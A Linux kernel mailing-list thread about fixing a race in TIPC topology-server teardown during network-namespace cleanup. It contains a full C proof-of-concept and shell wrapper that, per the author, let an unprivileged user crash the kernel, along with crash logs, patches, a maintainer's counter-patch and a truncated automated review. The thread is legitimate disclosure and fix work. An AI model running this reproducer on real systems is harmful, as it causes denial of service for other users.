tipc: fix connection lifetime during netns teardown

PATCH Superseded Yuqi Xu 3 participants 6 messages Sep 21 – Sep 24

Subsystems (4)

Networking Network drivers Stable branch TIPC network layer

lore

Share & tools

lore

Yuqi Xu

author

2026-09-21 09:41 UTC #0 lore raw

v2 cover tipc: fix connection lifetime during netns teardown

Hi Linux kernel maintainers,

We found and validated an issue in net/tipc/topsrv.c. The bug is reachable by an unprivileged user via user and network namespaces (CLONE_NEWUSER|CLONE_NEWNET); the reproducer below also supports a root mode.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

Changes in v2:
- Add the exact reproduction command and the stack traces we observe to this changelog, as requested by Tung Quang Nguyen.
- The patch content is unchanged; the series has only been rebased onto the current net/main tip.

Reproduction command (root mode, as used for the traces below):

# 2 vCPU, 2 GB RAM x86_64 QEMU, kernel built from net/main

  # tip 1e24c4f2ee44 (7.3.0-rc3-00344-g1e24c4f2ee44), CONFIG_TIPC=y
  sysctl -w kernel.panic_on_rcu_stall=1
  echo 20 > /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout
  MODE=root ./poc.sh 6000 4 20000
  # i.e. ./poc -i 6000 -t 4 -r 20000

The bug is a race, so the reported trace is not deterministic; with the command above it triggers within roughly 20 s in most runs.

Stack trace observed on the unpatched kernel (RCU stall):

[   20.832329] rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:
[   20.833203] rcu: 	(detected by 0, t=20002 jiffies, g=-1003, q=11014 ncpus=2)
[   20.849696] Sending NMI from CPU 0 to CPUs 1:
[   20.850327] NMI backtrace for cpu 1
[   20.850330] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc3-00344-g1e24c4f2ee44 #1 PREEMPT(lazy)
[   20.850335] Workqueue: netns cleanup_net
[   20.850340] RIP: 0010:__radix_tree_lookup+0x1b/0xa0
[   20.850360] Call Trace:
[   20.850361]  <TASK>
[   20.850362]  tipc_topsrv_exit_net+0x8b/0x1a0
[   20.850369]  ops_undo_list+0xef/0x250
[   20.850372]  cleanup_net+0x1d2/0x330
[   20.850375]  process_one_work+0x197/0x390
[   20.850379]  worker_thread+0x169/0x2d0
[   20.850384]  kthread+0xe1/0x120
[   20.850393]  ret_from_fork_asm+0x1a/0x30
[   20.850398]  </TASK>
[   20.876630] Kernel panic - not syncing: RCU Stall
[   20.877303] CPU: 0 UID: 0 PID: 32 Comm: kworker/u8:1 Not tainted 7.3.0-rc3-00344-g1e24c4f2ee44 #1 PREEMPT(lazy)
[   20.880467] Workqueue: tipc_rcv tipc_topsrv_accept
[   20.892986] RIP: 0010:queued_spin_lock_slowpath+0x130/0x2b0
[   20.902581]  tipc_conn_alloc+0xaf/0x150
[   20.903126]  tipc_topsrv_accept+0x7d/0x170
[   20.905029]  process_one_work+0x197/0x390
[   20.905595]  worker_thread+0x169/0x2d0
[   20.906129]  ? __pfx_worker_thread+0x10/0x10
[   20.906729]  kthread+0xe1/0x120
[   20.908765]  ret_from_fork_asm+0x1a/0x30
[   20.909326]  </TASK>

Second failure mode, same command, different run (~5 s in):

[    5.368491] Workqueue: tipc_rcv tipc_topsrv_accept
[    5.368499] Call Trace:
[    5.368560]  tipc_sk_create+0x96/0x840
[    5.368568]  tipc_accept+0xca/0x380
[    5.368580]  tipc_topsrv_accept+0x69/0x170
[    5.368758] Out of memory and no killable processes...
[    5.368759] Kernel panic - not syncing: System is deadlocked on memory

Why different stack traces are seen:

The series fixes two independent lifetime problems in the same teardown path, and which one is reported first depends on how the race resolves:

1/2 - the listener is stopped too late. Its data-ready callback and
sk_user_data remain installed while the workqueues are destroyed, so accept work can still be queued/run while the netns is being torn down. The "deadlocked on memory" trace above is one visible outcome: tipc_topsrv_accept() keeps allocating connections through tipc_accept()/tipc_sk_create() while netns cleanup cannot complete.

2/2 - the conn_idr teardown walk scans numeric IDs while holding
idr_lock, so the final conn_put() of a connection (which reaches tipc_conn_kref_release() and takes idr_lock) cannot make progress. This is the RCU stall above. The exact frame in the stall depends on where the timer interrupt lands inside tipc_topsrv_exit_net() (we have seen +0x78, +0x8b and +0x8e, plus __radix_tree_lookup for the inlined idr_find()) and on the task running on the other CPU (tipc_topsrv_accept(), tipc_conn_alloc(), tipc_conn_kref_release() or tipc_conn_recv_work()).

So a different trace is expected and is not a different bug. Both are addressed by this series. If you still see a trace that does not match either pattern, could you please share your exact command line (/proc/cmdline), the kernel version/base and the full trace?

- v1 Link: https://lore.kernel.org/all/[email protected]/

---- details below ----

Bug details:

tipc_topsrv_stop() can tear the topology server down in two unsafe ways. It destroys srv->rcv_wq/srv->send_wq while the listener socket still has its data-ready callback and sk_user_data installed, so tipc_topsrv_listener_data_ready() can still queue srv->awork on a freed workqueue. It also walks conn_idr by incrementing a numeric ID while holding idr_lock, which can scan a large range of unused IDs without letting a connection's final reference release make progress, and it can resurrect an entry whose last reference was already dropped.

Reproducer:

#!/bin/sh
set -eu

SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

ITERATIONS="${1:-6000}"
THREADS="${2:-4}"
RUNTIME_USEC="${3:-20000}"
MODE="${MODE:-root}" # root | userns
STALL_TIMEOUT="${STALL_TIMEOUT:-20}"
CC_BIN="${CC:-gcc}"

cd "$SCRIPT_DIR"

"$CC_BIN" -O2 -Wall -pthread -o poc poc.c

if [ "${SET_PANIC_ON_RCU_STALL:-1}" = "1" ] && [ "$(id -u)" -eq 0 ]; then
sysctl -w kernel.panic_on_rcu_stall=1 >/dev/null 2>&1 || true
if [ -w /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout ]; then
echo "$STALL_TIMEOUT" > /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout
fi
fi

if [ "$MODE" = "userns" ]; then

	CMD="./poc --userns -i $ITERATIONS -t $THREADS -r $RUNTIME_USEC"

else
CMD="./poc -i $ITERATIONS -t $THREADS -r $RUNTIME_USEC"
fi

echo "[*] running: $CMD"
exec sh -c "$CMD"

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <errno.h>
#include <getopt.h>
#include <linux/tipc.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

static atomic_int stop_flag;

struct run_cfg {
	int iterations;
	int threads;
	int runtime_usec;
	int ns_flags;
};

static void usage(const char *prog)

{
	fprintf(stderr,
		"Usage: %s [-i iterations] [-t threads] [-r runtime_usec] [--userns]\n"
		"  -i, --iterations   number of fork/teardown cycles (default: 6000)\n"
		"  -t, --threads      flood worker threads per cycle (default: 4)\n"
		"  -r, --runtime-us   worker runtime per cycle in usec (default: 20000)\n"
		"  -U, --userns       use CLONE_NEWUSER|CLONE_NEWNET (for non-root)\n",
		prog);
}

static void parse_args(int argc, char **argv, struct run_cfg *cfg)

{
	static const struct option long_opts[] = {
		{ "iterations", required_argument, NULL, 'i' },
		{ "threads", required_argument, NULL, 't' },
		{ "runtime-us", required_argument, NULL, 'r' },
		{ "userns", no_argument, NULL, 'U' },
		{ "help", no_argument, NULL, 'h' },
		{ 0, 0, 0, 0 },
	};
	int c;

	cfg->iterations = 6000;
	cfg->threads = 4;
	cfg->runtime_usec = 20000;
	cfg->ns_flags = CLONE_NEWNET;

	while ((c = getopt_long(argc, argv, "i:t:r:Uh", long_opts, NULL)) != -1) {
		switch (c) {
		case 'i':
			cfg->iterations = atoi(optarg);
			break;
		case 't':
			cfg->threads = atoi(optarg);
			break;
		case 'r':
			cfg->runtime_usec = atoi(optarg);
			break;
		case 'U':
			cfg->ns_flags = CLONE_NEWUSER | CLONE_NEWNET;
			break;
		case 'h':
		default:
			usage(argv[0]);
			exit(c == 'h' ? 0 : 1);
		}
	}

	if (cfg->iterations <= 0 || cfg->threads <= 0 || cfg->runtime_usec < 0) {
		usage(argv[0]);
		exit(1);
	}
}

static void *flood_worker(void *arg)

{
	uintptr_t tid = (uintptr_t)arg;
	struct sockaddr_tipc sa;
	struct tipc_subscr sub;

	memset(&sa, 0, sizeof(sa));
	sa.family = AF_TIPC;
	sa.addrtype = TIPC_SERVICE_ADDR;
	sa.scope = TIPC_NODE_SCOPE;
	sa.addr.name.name.type = TIPC_TOP_SRV;
	sa.addr.name.name.instance = TIPC_TOP_SRV;

	memset(&sub, 0, sizeof(sub));
	sub.seq.type = 0x20000 + (uint32_t)tid;
	sub.seq.lower = 1;
	sub.seq.upper = 1;
	sub.timeout = 0xffffffffu;
	sub.filter = TIPC_SUB_SERVICE;

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		int fd = socket(AF_TIPC, SOCK_SEQPACKET | SOCK_NONBLOCK, 0);

		if (fd < 0)
			continue;

		(void)connect(fd, (struct sockaddr *)&sa, sizeof(sa));
		(void)send(fd, &sub, sizeof(sub), MSG_DONTWAIT);
		close(fd);
	}

	return NULL;
}

static void run_one_iteration(const struct run_cfg *cfg)

{
	pthread_t *tids;
	int i;

	if (unshare(cfg->ns_flags) < 0)
		_exit(111);

	tids = calloc((size_t)cfg->threads, sizeof(*tids));
	if (!tids)
		_exit(1);

	atomic_store_explicit(&stop_flag, 0, memory_order_relaxed);
	for (i = 0; i < cfg->threads; i++)
		pthread_create(&tids[i], NULL, flood_worker,
			       (void *)(uintptr_t)(i + 1));

	usleep((useconds_t)cfg->runtime_usec);

	_exit(0);
}

int main(int argc, char **argv)

{
	struct run_cfg cfg;
	int i;
	int ns_failures = 0;

	parse_args(argc, argv, &cfg);

	for (i = 0; i < cfg.iterations; i++) {
		pid_t pid = fork();
		int st;

		if (pid == 0)
			run_one_iteration(&cfg);
		if (pid < 0)
			return 1;

		if (waitpid(pid, &st, 0) < 0)
			return 1;

		if (WIFEXITED(st) && WEXITSTATUS(st) == 111)
			ns_failures++;

		if ((i % 200) == 0)
			fprintf(stderr, "iter=%d ns_failures=%d\n", i, ns_failures);
	}

	if (ns_failures == cfg.iterations) {
		fprintf(stderr,
			"all iterations failed to create namespaces (EPERM likely)\n");
		return 2;
	}

	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  292.540819][    C1] rcu: INFO: rcu_preempt self-detected stall on CPU
[  292.647997][    C1] Workqueue: tipc_rcv tipc_topsrv_accept
[  292.708934][    C0] Workqueue: netns cleanup_net
[  292.709097][    C0]  <TASK>
[  292.709101][    C0]  __radix_tree_lookup+0xb7/0x290
[  292.709134][    C0]  tipc_topsrv_exit_net+0x19c/0x4e0
[  292.709169][    C0]  ops_exit_list+0xc0/0x180
[  292.709192][    C0]  cleanup_net+0x5b9/0xbd0
[  292.709217][    C0]  process_one_work+0x981/0x1930
[  292.709275][    C0]  worker_thread+0x729/0x10e0
[  292.709314][    C0]  kthread+0x338/0x410
[  292.709364][    C0]  ret_from_fork_asm+0x11/0x20
[  292.709383][    C0]  </TASK>
[  292.831321][    C1] Kernel panic - not syncing: RCU Stall
[  292.834975][    C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
[  292.839167][    C1] Call Trace:
[  292.875653][    C1]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  292.906505][    C1]  tipc_topsrv_accept+0x104/0x300
[  292.909515][    C1]  process_one_work+0x981/0x1930
[  292.919937][    C1]  ret_from_fork+0x4b/0x80
[  292.926345][    C1] Kernel Offset: disabled
[  292.927571][    C1] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (2):
tipc: stop the listener before draining connections
tipc: make conn_idr teardown safe

 net/tipc/topsrv.c | 27 ++++++++++++++++++++-------
 1 file changed, 20 insertions(+), 7 deletions(-)

base-commit: 1e24c4f2ee44be0eee94092b5d13cbdb4bdf0d60

Signature · 1 line

2.55.0

Yuqi Xu

author

2026-09-21 09:41 UTC #1 lore raw

PATCH v2 1/2 tipc: stop the listener before draining connections

tipc_topsrv_stop() destroyed the receive workqueue while the listener socket still had its data-ready callback and sk_user_data installed. An incoming connection request could then queue srv->awork on the freed workqueue from tipc_topsrv_listener_data_ready().

Reject new accepts, clear sk_user_data under sk_callback_lock and cancel pending accept work before the workqueues are torn down.

Fixes 0ef897be12b8 ("tipc: separate topology server listener socket from subcsriber sockets")

Cc [email protected]

Reported-by Vega <[email protected]>

Assisted-by LLM

Signed-off-by Yuqi Xu <[email protected]>

Reviewed-by Ren Wei <[email protected]>

---
Changes in v2:
- Rebased onto the current net/main tip; patch content unchanged.

 net/tipc/topsrv.c | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

net/tipc/topsrv.c +9 -1

index af530c9ed840..908622a3d0fc 100644
@@ -700,6 +700,15 @@ static void tipc_topsrv_stop(struct net *net)
 	struct tipc_conn *con;
 	int id;
 
+	spin_lock_bh(&srv->idr_lock);
+	srv->listener = NULL;
+	spin_unlock_bh(&srv->idr_lock);
+
+	write_lock_bh(&lsock->sk->sk_callback_lock);
+	lsock->sk->sk_user_data = NULL;
+	write_unlock_bh(&lsock->sk->sk_callback_lock);
+	cancel_work_sync(&srv->awork);
+
 	spin_lock_bh(&srv->idr_lock);
 	for (id = 0; srv->idr_in_use; id++) {
 		con = idr_find(&srv->conn_idr, id);

@@ -713,7 +722,6 @@ static void tipc_topsrv_stop(struct net *net)
 	}
 	__module_get(lsock->ops->owner);
 	__module_get(lsock->sk->sk_prot_creator->owner);
-	srv->listener = NULL;
 	spin_unlock_bh(&srv->idr_lock);
 
 	tipc_topsrv_work_stop(srv);

Signature · 1 line

2.55.0

Tung Quang Nguyen

maintainer

2026-09-23 03:01 UTC #2 lore raw

Re: [PATCH net v2 1/2] tipc: stop the listener before draining connections

Quoted 9 lines

Subject: [PATCH net v2 1/2] tipc: stop the listener before draining connections
tipc_topsrv_stop() destroyed the receive workqueue while the listener socket still had its data-ready callback and sk_user_data installed. An incoming connection request could then queue srv->awork on the freed workqueue from tipc_topsrv_listener_data_ready().
Reject new accepts, clear sk_user_data under sk_callback_lock and cancel pending accept work before the workqueues are torn down.

This is not enough. Thus, this patch does not fix the original cause of several issues (use after free, counter leak, NULL pointer dereference etc). I use your reproducer with this setup: ./poc -i 6000 -t 4 -r 5000 (and ./poc -i 6000 -t 4 -r 20000)
And the same stack trace is observed BEFORE and AFTER applying your patch (kernel 7.3.0-rc3):
"
iter=0 ns_failures=0
iter=200 ns_failures=0
iter=400 ns_failures=0
iter=600 ns_failures=0

[  271.777365] ------------[ cut here ]------------
[  271.777368] refcount_t: addition on 0; use-after-free.
[  271.777369] WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x6a/0x90, CPU#1: kworker/u8:4/929
...
[  271.791358] CPU: 1 UID: 0 PID: 929 Comm: kworker/u8:4 Not tainted 7.3.0-rc3-default+ #31 PREEMPT(full)
...
[  271.794423] Workqueue: netns cleanup_net
[  271.795096] RIP: 0010:refcount_warn_saturate+0x6a/0x90
[  271.795951] Code: cc 48 8d 3d 88 d0 48 01 67 48 0f b9 3a c3 cc cc cc cc 48 8d 3d 87 d0 48 01 67 48 0f b9 3a e9 0d 97 72 00 48 8d 3d 86 d0 48 01 <67> 48 0f b9 3a e9 fc 96 72 00 48 8d 3d 85 d0 48 01 67 48 0f b9 3a
...
[  271.809733] Call Trace:
[  271.810177]  <TASK>
[  271.810559]  tipc_topsrv_exit_net+0x1b4/0x1e0 [tipc]
[  271.811439]  ops_undo_list+0xd5/0x230
[  271.812056]  cleanup_net+0x1ec/0x320
[  271.812666]  process_one_work+0x1a5/0x3b0
[  271.813343]  worker_thread+0x1be/0x330
[  271.813989]  ? _raw_spin_unlock_irqrestore+0x12/0x40
[  271.814814]  ? __pfx_worker_thread+0x10/0x10
[  271.815551]  kthread+0xf6/0x140
[  271.816090]  ? __pfx_kthread+0x10/0x10
[  271.816738]  ret_from_fork+0x288/0x330
[  271.817377]  ? __pfx_kthread+0x10/0x10
[  271.818017]  ret_from_fork_asm+0x1a/0x30
[  271.818681]  </TASK>
[  271.819067] ---[ end trace 0000000000000000 ]---
[  271.846984] BUG: unable to handle page fault for address: 00000001000002cf
[  271.848215] #PF: supervisor read access in kernel mode
[  271.849079] #PF: error_code(0x0000) - not-present page
[  271.849945] PGD 0 P4D 0
[  271.850420] Oops: Oops: 0000 [#1] SMP NOPTI
[  271.851145] CPU: 1 UID: 0 PID: 929 Comm: kworker/u8:4 Tainted: G        W           7.3.0-rc3-default+ #31 PREEMPT(full)
[  271.852937] Tainted: [W]=WARN
...
[  271.855014] Workqueue: netns cleanup_net
[  271.855702] RIP: 0010:do_raw_write_lock+0xa/0xb0
[  271.856486] Code: 00 48 8b 3c 24 85 c0 0f 85 5e a3 e9 ff eb d7 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 40 d6 0f 1f 44 00 00 53 <81> 7f 08 ed 1e af de 48 89 fb 75 45 48 8b 43 10 65 48 3b 05 96 55
...
[  271.870488] Call Trace:
[  271.870932]  <TASK>
[  271.871331]  tipc_conn_close+0x24/0xa0 [tipc]
[  271.872088]  tipc_topsrv_exit_net+0x108/0x1e0 [tipc]
[  271.872938]  ops_undo_list+0xd5/0x230
[  271.873588]  cleanup_net+0x1ec/0x320
[  271.874211]  process_one_work+0x1a5/0x3b0
[  271.874891]  worker_thread+0x1be/0x330
[  271.875536]  ? _raw_spin_unlock_irqrestore+0x12/0x40
[  271.876376]  ? __pfx_worker_thread+0x10/0x10
[  271.877119]  kthread+0xf6/0x140
[  271.877686]  ? __pfx_kthread+0x10/0x10
[  271.878335]  ret_from_fork+0x288/0x330
[  271.878980]  ? __pfx_kthread+0x10/0x10
[  271.879641]  ret_from_fork_asm+0x1a/0x30
[  271.880314]  </TASK>

So, your patch does not fix the original root cause: not deleting topology server's send/receive work queues before closing connections. Please help test this patch to see if it completely fixes all observed kernel stack traces:

Signed-off-by Tung Nguyen <[email protected]>

---
 net/tipc/topsrv.c | 73 +++++++++++++++++++++++++++++++++++++----------
 1 file changed, 58 insertions(+), 15 deletions(-)

net/tipc/topsrv.c +58 ~~-15~~

index af530c9ed840..2fc10bf593b0 100644
@@ -55,7 +55,7 @@
 /**
  * struct tipc_topsrv - TIPC server structure
  * @conn_idr: identifier set of connection
- * @idr_lock: protect the connection identifier set
+ * @idr_lock: protect the connection identifier set and listener
  * @idr_in_use: amount of allocated identifier entry
  * @net: network namespace instance
  * @awork: accept work item

@@ -301,10 +301,20 @@ static void tipc_conn_send_to_sock(struct tipc_conn *con)
 static void tipc_conn_send_work(struct work_struct *work)
 {
 	struct tipc_conn *con = container_of(work, struct tipc_conn, swork);
+	struct tipc_topsrv *srv;
+
+	srv = con->server;
+	spin_lock_bh(&srv->idr_lock);
+	if (!srv->listener) {
+		spin_unlock_bh(&srv->idr_lock);
+		goto out;
+	}
+	spin_unlock_bh(&srv->idr_lock);
 
 	if (connected(con))
 		tipc_conn_send_to_sock(con);
 
+out:
 	conn_put(con);
 }

@@ -334,8 +344,14 @@ void tipc_topsrv_queue_evt(struct net *net, int conid,
 	list_add_tail(&e->list, &con->outqueue);
 	spin_unlock_bh(&con->outqueue_lock);
 
-	if (queue_work(srv->send_wq, &con->swork))
-		return;
+	spin_lock_bh(&srv->idr_lock);
+	if (srv->listener) {
+		if (queue_work(srv->send_wq, &con->swork)) {
+			spin_unlock_bh(&srv->idr_lock);
+			return;
+		}
+	}
+	spin_unlock_bh(&srv->idr_lock);
 err:
 	conn_put(con);
 }

@@ -346,14 +362,20 @@ void tipc_topsrv_queue_evt(struct net *net, int conid,
  */
 static void tipc_conn_write_space(struct sock *sk)
 {
+	struct tipc_topsrv *srv;
 	struct tipc_conn *con;
 
 	read_lock_bh(&sk->sk_callback_lock);
 	con = sk->sk_user_data;
 	if (connected(con)) {
-		conn_get(con);
-		if (!queue_work(con->server->send_wq, &con->swork))
-			conn_put(con);
+		srv = con->server;
+		spin_lock_bh(&srv->idr_lock);
+		if (srv->listener) {
+			conn_get(con);
+			if (!queue_work(srv->send_wq, &con->swork))
+				conn_put(con);
+		}
+		spin_unlock_bh(&srv->idr_lock);
 	}
 	read_unlock_bh(&sk->sk_callback_lock);
 }

@@ -418,8 +440,17 @@ static int tipc_conn_rcv_from_sock(struct tipc_conn *con)
 static void tipc_conn_recv_work(struct work_struct *work)
 {
 	struct tipc_conn *con = container_of(work, struct tipc_conn, rwork);
+	struct tipc_topsrv *srv;
 	int count = 0;
 
+	srv = con->server;
+	spin_lock_bh(&srv->idr_lock);
+	if (!srv->listener) {
+		spin_unlock_bh(&srv->idr_lock);
+		goto out;
+	}
+	spin_unlock_bh(&srv->idr_lock);
+
 	while (connected(con)) {
 		if (tipc_conn_rcv_from_sock(con))
 			break;

@@ -430,6 +461,7 @@ static void tipc_conn_recv_work(struct work_struct *work)
 			count = 0;
 		}
 	}
+out:
 	conn_put(con);
 }

@@ -438,6 +470,7 @@ static void tipc_conn_recv_work(struct work_struct *work)
  */
 static void tipc_conn_data_ready(struct sock *sk)
 {
+	struct tipc_topsrv *srv;
 	struct tipc_conn *con;
 
 	trace_sk_data_ready(sk);

@@ -445,9 +478,14 @@ static void tipc_conn_data_ready(struct sock *sk)
 	read_lock_bh(&sk->sk_callback_lock);
 	con = sk->sk_user_data;
 	if (connected(con)) {
-		conn_get(con);
-		if (!queue_work(con->server->rcv_wq, &con->rwork))
-			conn_put(con);
+		srv = con->server;
+		spin_lock_bh(&srv->idr_lock);
+		if (srv->listener) {
+			conn_get(con);
+			if (!queue_work(srv->rcv_wq, &con->rwork))
+				conn_put(con);
+		}
+		spin_unlock_bh(&srv->idr_lock);
 	}
 	read_unlock_bh(&sk->sk_callback_lock);
 }

@@ -503,8 +541,12 @@ static void tipc_topsrv_listener_data_ready(struct sock *sk)
 
 	read_lock_bh(&sk->sk_callback_lock);
 	srv = sk->sk_user_data;
-	if (srv)
-		queue_work(srv->rcv_wq, &srv->awork);
+	if (srv) {
+		spin_lock_bh(&srv->idr_lock);
+		if (srv->listener)
+			queue_work(srv->rcv_wq, &srv->awork);
+		spin_unlock_bh(&srv->idr_lock);
+	}
 	read_unlock_bh(&sk->sk_callback_lock);
 }

@@ -700,23 +742,24 @@ static void tipc_topsrv_stop(struct net *net)
 	struct tipc_conn *con;
 	int id;
 
+	spin_lock_bh(&srv->idr_lock);
+	srv->listener = NULL;
+	spin_unlock_bh(&srv->idr_lock);
+	tipc_topsrv_work_stop(srv);
+
 	spin_lock_bh(&srv->idr_lock);
 	for (id = 0; srv->idr_in_use; id++) {
 		con = idr_find(&srv->conn_idr, id);
 		if (con) {
-			conn_get(con);
 			spin_unlock_bh(&srv->idr_lock);
 			tipc_conn_close(con);
-			conn_put(con);
 			spin_lock_bh(&srv->idr_lock);
 		}
 	}
 	__module_get(lsock->ops->owner);
 	__module_get(lsock->sk->sk_prot_creator->owner);
-	srv->listener = NULL;
 	spin_unlock_bh(&srv->idr_lock);
 
-	tipc_topsrv_work_stop(srv);
 	sock_release(lsock);
 	idr_destroy(&srv->conn_idr);
 	kfree(srv);

Signature · 1 line

2.43.0

Yuqi Xu

author

2026-09-21 09:41 UTC #3 lore raw

PATCH v2 2/2 tipc: make conn_idr teardown safe

In reply to Yuqi Xu

The teardown walk iterated conn_idr by incrementing a numeric ID while holding idr_lock, so it could scan a large range of unused IDs without letting a connection's final reference release make progress. An entry whose last reference had already been dropped could also be resurrected by the unconditional conn_get() while its release callback was blocked on the same lock.

Walk conn_idr with idr_get_next(), release the lock and reschedule when no entry can be taken, and use kref_get_unless_zero() so a connection that is already being released cannot be revived.

Fixes 35e22e49a5d6 ("tipc: fix cleanup at module unload")

Fixes 667eeab4999e ("tipc: Fix use-after-free in tipc_conn_close().")

Cc [email protected]

Reported-by Vega <[email protected]>

Assisted-by LLM

Signed-off-by Yuqi Xu <[email protected]>

Reviewed-by Ren Wei <[email protected]>

---
Changes in v2:
- Rebased onto the current net/main tip; patch content unchanged.

 net/tipc/topsrv.c | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

net/tipc/topsrv.c +11 -6

index 908622a3d0fc..9333e36a74de 100644
@@ -710,15 +710,20 @@ static void tipc_topsrv_stop(struct net *net)
 	cancel_work_sync(&srv->awork);
 
 	spin_lock_bh(&srv->idr_lock);
-	for (id = 0; srv->idr_in_use; id++) {
-		con = idr_find(&srv->conn_idr, id);
-		if (con) {
-			conn_get(con);
+	for (id = 0; srv->idr_in_use;) {
+		con = idr_get_next(&srv->conn_idr, &id);
+		if (!con || !kref_get_unless_zero(&con->kref)) {
 			spin_unlock_bh(&srv->idr_lock);
-			tipc_conn_close(con);
-			conn_put(con);
+			cond_resched();
 			spin_lock_bh(&srv->idr_lock);
+			id = 0;
+			continue;
 		}
+		id++;
+		spin_unlock_bh(&srv->idr_lock);
+		tipc_conn_close(con);
+		conn_put(con);
+		spin_lock_bh(&srv->idr_lock);
 	}
 	__module_get(lsock->ops->owner);
 	__module_get(lsock->sk->sk_prot_creator->owner);

Signature · 1 line

2.55.0

Tung Quang Nguyen

maintainer

2026-09-23 03:34 UTC #4 lore raw

Re: [PATCH net v2 2/2] tipc: make conn_idr teardown safe

Quoted 9 lines

Subject: [PATCH net v2 2/2] tipc: make conn_idr teardown safe
The teardown walk iterated conn_idr by incrementing a numeric ID while holding idr_lock, so it could scan a large range of unused IDs without letting a connection's final reference release make progress. An entry whose last reference had already been dropped could also be resurrected by the unconditional conn_get() while its release callback was blocked on the same lock.

Quoted 3 lines

Walk conn_idr with idr_get_next(), release the lock and reschedule when no entry can be taken, and use kref_get_unless_zero() so a connection that is already being released cannot be revived.

This patch is not needed as we need a complete solution discussed in:
https://patchwork.kernel.org/project/netdevbpf/patch/d16573ddc2464277a04274fc12630daf00b8f149.1789960909.git.xuyuqiabc@gmail.com/

[email protected]

AI review

2026-09-24 12:42 UTC #5 lore raw

Re: [PATCH net v2 2/2] tipc: make conn_idr teardown safe

In reply to Yuqi Xu

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider.

Critical: 0 · High: 1 (1) · Medium: 0 · Low: 0

If you believe none of the issues are legitimate, please reply to each issue of Medium severity or higher and explain why the AI is wrong. If any of them are legitimate and you plan to respin, please let patchwork know by including "pw-bot: cr" as a separate line at the end of your reply (one such reply per series is enough).

- [High] tipc: priority inversion deadlock via cond_resched() in tipc_topsrv_stop()

Pre-existing issues:
- [High] NULL pointer dereference of con->sock in tipc_conn_close() when the teardown walk in tipc_topsrv_stop() reaches a socket-less…

tipc: make conn_idr teardown safe

The teardown walk in tipc_topsrv_stop() now iterates conn_idr with idr_get_next() instead of incrementing a numeric ID, drops idr_lock and reschedules when no entry can be taken, and switches from conn_get() to kref_get_unless_zero() so an entry already being released is not revived.

Quoted 19 lines

net/tipc/topsrv.c +4 -6

index 908622a3d0fca..9333e36a74de7 100644
@@ -710,15 +710,20 @@ static void tipc_topsrv_stop(struct net *net)
 	cancel_work_sync(&srv->awork);
 
 	spin_lock_bh(&srv->idr_lock);
-	for (id = 0; srv->idr_in_use; id++) {
-		con = idr_find(&srv->conn_idr, id);
-		if (con) {
-			conn_get(con);
+	for (id = 0; srv->idr_in_use;) {
+		con = idr_get_next(&srv->conn_idr, &id);
+		if (!con || !kref_get_unless_zero(&con->kref)) {
 			spin_unlock_bh(&srv->idr_lock);
-			tipc_conn_close(con);
-			conn_put(con);
+			cond_resched();

net/tipc/topsrv.c static void tipc_topsrv_stop(struct net *net) · line 727

Quoted 10 lines

net/tipc/topsrv.c +7 -0

 			spin_lock_bh(&srv->idr_lock);
+			id = 0;
+			continue;
 		}
+		id++;
+		spin_unlock_bh(&srv->idr_lock);
+		tipc_conn_close(con);
+		conn_put(con);
+		spin_lock_bh(&srv->idr_lock);
 	}

[Severity: High]
The not-taken branch turns this walk into a poll loop whose only forward-progress mechanism is cond_resched(). When idr_get_next() returns NULL, or when kref_get_unless_zero() fails because the entry is already on its way out, we drop idr_lock, call cond_resched(), reset id to 0 and start over, and the loop only terminates once srv->idr_in_use reaches zero. That counter is decremented in exactly one place:

net/tipc/topsrv.c:tipc_conn_kref_release() {
	spin_lock_bh(&s->idr_lock);
	idr_remove(&s->conn_idr, con->conid);
	s->idr_in_use--;
	spin_unlock_bh(&s->idr_lock);
	...
}

and in the window this branch is spinning in, the last reference is typically held by a queued rcv_wq/send_wq item (tipc_conn_recv_work() or tipc_conn_send_work()), i.e. by a SCHED_OTHER kworker. Note that tipc_topsrv_work_stop() only runs after the walk, so both queues are still live at this point, and nothing before the walk flushes them -- only srv->awork is cancelled.

So the exit condition of this loop depends on a lower-priority thread being scheduled. cond_resched() does not yield to lower-priority tasks, and on full-preemption builds it degenerates into a no-op, so if tipc_topsrv_stop() is entered from an RT task (netns exit and module unload can both be driven from a SCHED_FIFO context), on a single CPU we spin taking and dropping idr_lock forever while the kworker that would run tipc_conn_kref_release() and drop idr_in_use never gets to run. That is a livelock rather than a latency glitch. The old idr_find() loop had its own unbounded-scan problem, but it was not structured as a retry-from-zero wait, so the patch makes cond_resched() load-bearing as a synchronisation primitive, which it is not.

What is the intended guarantee here? If the walk really has to wait for asynchronous releases, a sleeping wait looks more appropriate -- e.g. a wait_event()/completion signalled from tipc_conn_kref_release() when idr_in_use hits zero. Alternatively, would it be cleaner to tear down rcv_wq/send_wq (tipc_topsrv_work_stop()) before walking conn_idr, so that no async reference can still be outstanding and the loop needs no retry branch at all? Could you spell out which of these you consider correct, or why cond_resched() is sufficient in your view?

[Severity: High]
This isn't a bug introduced by this patch, since the old idr_find() plus conn_get() walk fed tipc_conn_close() the same way, but can this walk hand a socket-less conn_idr entry to tipc_conn_close() and dereference NULL?

Kernel subscriptions are published into conn_idr with sock == NULL:

